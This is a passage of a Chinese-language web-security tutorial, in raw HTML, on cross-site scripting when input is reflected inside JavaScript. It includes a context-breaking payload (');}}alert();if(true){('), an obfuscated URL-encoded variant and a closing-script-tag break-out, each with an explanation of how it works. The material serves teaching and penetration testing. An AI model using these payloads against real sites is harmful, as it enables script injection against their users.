!important;">'$input'</span>);</span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"> }</span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"> <span class="code-snippet__keyword" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">else</span>{</span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"> <span class="code-snippet__built_in" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">console</span>.log(<span class="code-snippet__string" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">'Requirements not met.'</span>);</span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"> }</span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">}</span></code></pre></section><p style="margin-bottom: 0em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p><p style="outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">        </span>假设我们没有支付订阅费用。为了解决这个问题,我们需要跳出if (subscription)块,这可以通过关闭条件块、函数调用等来完成。如果用户输入是');}}alert();if(true){(',它将得到如下反映</p><p style="outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet__function" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet__keyword" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">function</span> <span class="code-snippet__title" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">example</span>(<span class="code-snippet__params" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">age, subscription</span>)</span>{</span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"> <span class="code-snippet__keyword" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">if</span> (subscription){</span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"> <span class="code-snippet__keyword" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">if</span> (age > <span class="code-snippet__number" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">18</span>){</span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"> another_function(<span class="code-snippet__string" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">''</span>);}}alert();<span class="code-snippet__keyword" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">if</span>(<span class="code-snippet__literal" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">true</span>){(<span class="code-snippet__string" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">''</span>);</span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"> }</span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"> <span class="code-snippet__keyword" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">else</span>{</span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"> <span class="code-snippet__built_in" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">console</span>.log(<span class="code-snippet__string" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">'Requirements not met.'</span>);</span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"> }</span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">}</span></code></pre></section><p style="outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p><p style="margin-bottom: 0em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;">这是一个缩进视图,用于了解有效负载的工作原理</span></p><p style="margin-bottom: 0em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet__function" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet__keyword" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">function</span> <span class="code-snippet__title" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">example</span>(<span class="code-snippet__params" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">age, subscription</span>)</span>{</span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"> <span class="code-snippet__keyword" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">if</span> (subscription){</span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"> <span class="code-snippet__keyword" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">if</span> (age > <span class="code-snippet__number" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">18</span>){</span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"> another_function(<span class="code-snippet__string" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">''</span>);</span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"> }</span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"> }</span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"> alert();</span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"> <span class="code-snippet__keyword" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">if</span> (<span class="code-snippet__literal" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">true</span>){</span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"> (<span class="code-snippet__string" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">''</span>);</span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"> }</span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"> <span class="code-snippet__keyword" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">else</span>{</span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"> <span class="code-snippet__built_in" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">console</span>.log(<span class="code-snippet__string" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">'Requirements not met.'</span>);</span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"> }</span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">}</span></code></pre></section><p dir="auto" style="margin-bottom: 0em;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></code></p><p dir="auto" style="margin-bottom: 16px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;">);</code><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">关闭当前函数调用。</span><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">第一个</span><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;">}</code><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">关闭</span><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;">if (age > 18)</code><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">块。</span><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">第二个</span><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;">}</code><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">关闭</span><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;">if subscription</code><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">块。</span><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;">alert();</code><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">是用作测试的虚拟函数。</span><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;">if(true){</code><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">启动一个</span><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;">if</code><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">条件块以保持代码在语法上有效,因为后面的代码中有一个 else 块。</span><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">最后,</span><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;">('</code><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">结合我们最初注入的函数调用的剩余部分。</span></p><p dir="auto" style="margin-bottom: 16px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">它是您在野外会遇到的最简单的代码块之一。</span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">为了简化分解代码块的过程,建议使用语法高亮器,例如</span></span><span style="outline: 0px;max-width: 100%;font-weight: 600;box-sizing: border-box !important;overflow-wrap: break-word !important;">Sublime Text</span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">。</span></p><p dir="auto" style="margin-bottom: 16px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">有效载荷的结构取决于代码本身,这种不确定性使其很难检测到。</span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">但是,如果需要,可以对代码进行混淆处理。</span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">例如,上面代码块的有效负载可以写成:</span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="swift"><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">');%0a}%0d}%09alert();<span class="code-snippet__comment" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">/*anything here*/</span><span class="code-snippet__keyword" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">if</span>(<span class="code-snippet__literal" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">true</span>){<span class="code-snippet__comment" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">//anything here%0a('</span></span></code></pre></section><p dir="auto" style="margin-bottom: 16px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;"></code><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p><p dir="auto" style="margin-bottom: 16px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">如果输入被反映到 JavaScript 代码中,无论它是在代码块中还是在变量字符串中,</span><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;"></scRipT{?filler}>{html context payload}</code><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">都可以用于跳出上下文并执行有效负载。</span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">这个有效载荷方案应该在其他所有事情之前尝试,因为它很简单,但它也很可能被检测到。</span></span></p><p style="margin-bottom: 0em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.32348111658456485" data-s="300,640" src="https://mmbiz.qpic.cn/mmbiz_png/aPmkR80bcV1KziceMWZIw4UjRXJjOiaubsdYHHWjUnAsehqibp3erw0iaxNnibAoVkhPPlVfM0kcXDI1TG4zbSZGDvA/640?wx_fmt=png" data-type="png" data-w="609" style="outline: 0px;box-sizing: border-box !important;overflow-wrap: break-word !important;width: 609px !important;visibility: visible !important;"></p><p style="margin-bottom: 0em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(34, 34, 34);text-align: right;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: -apple-system-font, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;font-size: 16px;font-weight: bold;letter-spacing: 0.544px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">如侵权请私聊公众号删文</span></p><section style="outline: 0px;max-width: 100%;box-sizing: border-box;color: 